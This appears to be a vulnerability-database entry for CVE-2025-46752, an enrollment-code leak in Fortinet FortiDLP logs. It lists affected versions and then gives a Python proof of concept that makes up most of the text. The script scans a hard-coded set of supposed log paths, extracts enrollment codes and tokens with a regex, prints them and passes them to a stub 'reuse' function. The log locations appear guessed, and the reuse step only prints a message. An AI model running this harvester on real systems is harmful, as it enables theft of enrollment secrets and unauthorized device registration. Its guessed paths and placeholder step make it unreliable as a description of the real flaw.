A insertion of sensitive information into log file in Fortinet FortiDLP 12.0.0 through 12.0.5, 11.5.1, 11.4.6, 11.4.5 allows attacker to information disclosure via re-using the enrollment code.
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Fortinet FortiDLP 12.0.0
Fortinet FortiDLP 12.0.1
Fortinet FortiDLP 12.0.2
Fortinet FortiDLP 12.0.3
Fortinet FortiDLP 12.0.4
Fortinet FortiDLP 12.0.5
Fortinet FortiDLP 11.5.1
Fortinet FortiDLP 11.4.6
Fortinet FortiDLP 11.4.5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-46752 PoC - FortiDLP Enrollment Code Log Disclosure
# This PoC demonstrates how an attacker with local access and low privileges
# can extract sensitive enrollment codes from FortiDLP log files.
import os
import re
import sys
# Common log file locations for FortiDLP
LOG_PATHS = [
"/var/log/fortidlp/fortidlp.log",
"/opt/fortidlp/logs/application.log",
"/usr/local/fortidlp/logs/enrollment.log",
"/var/log/fortidlp/enrollment.log",
"C:\\Program Files\\Fortinet\\FortiDLP\\logs\\fortidlp.log",
"C:\\ProgramData\\Fortinet\\FortiDLP\\logs\\enrollment.log"
]
# Regex pattern to match enrollment codes in log files
# Enrollment codes are typically alphanumeric strings of specific length
ENROLLMENT_CODE_PATTERN = re.compile(
r'(enrollment[\s_]?code|registration[\s_]?code|enroll[\s_]?token)[\s:=]+([A-Za-z0-9\-_]{8,64})',
re.IGNORECASE
)
def search_log_files():
"""Search FortiDLP log files for sensitive enrollment codes"""
found_codes = []
for log_path in LOG_PATHS:
if os.path.exists(log_path):
print(f"[*] Checking log file: {log_path}")
try:
with open(log_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
matches = ENROLLMENT_CODE_PATTERN.findall(content)
for match in matches:
code_type, code_value = match
found_codes.append({
"type": code_type,
"code": code_value,
"source": log_path
})
print(f"[+] Found {code_type}: {code_value}")
except PermissionError:
print(f"[-] Permission denied: {log_path}")
except Exception as e:
print(f"[-] Error reading {log_path}: {e}")
return found_codes
def reuse_enrollment_code(code):
"""
Simulate reusing the extracted enrollment code to register
a new agent/device to the FortiDLP management console.
"""
print(f"\n[*] Attempting to reuse enrollment code: {code}")
# In a real scenario, this would involve connecting to the
# FortiDLP management server and using the code for registration
print("[!] This would allow unauthorized device enrollment")
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-46752 - FortiDLP Enrollment Code Disclosure PoC")
print("=" * 60)
codes = search_log_files()
if codes:
print(f"\n[!] Total enrollment codes found: {len(codes)}")
for code_info in codes:
reuse_enrollment_code(code_info["code"])
else:
print("\n[-] No enrollment codes found in accessible log files")
print("[*] Try running with elevated privileges or check additional log paths")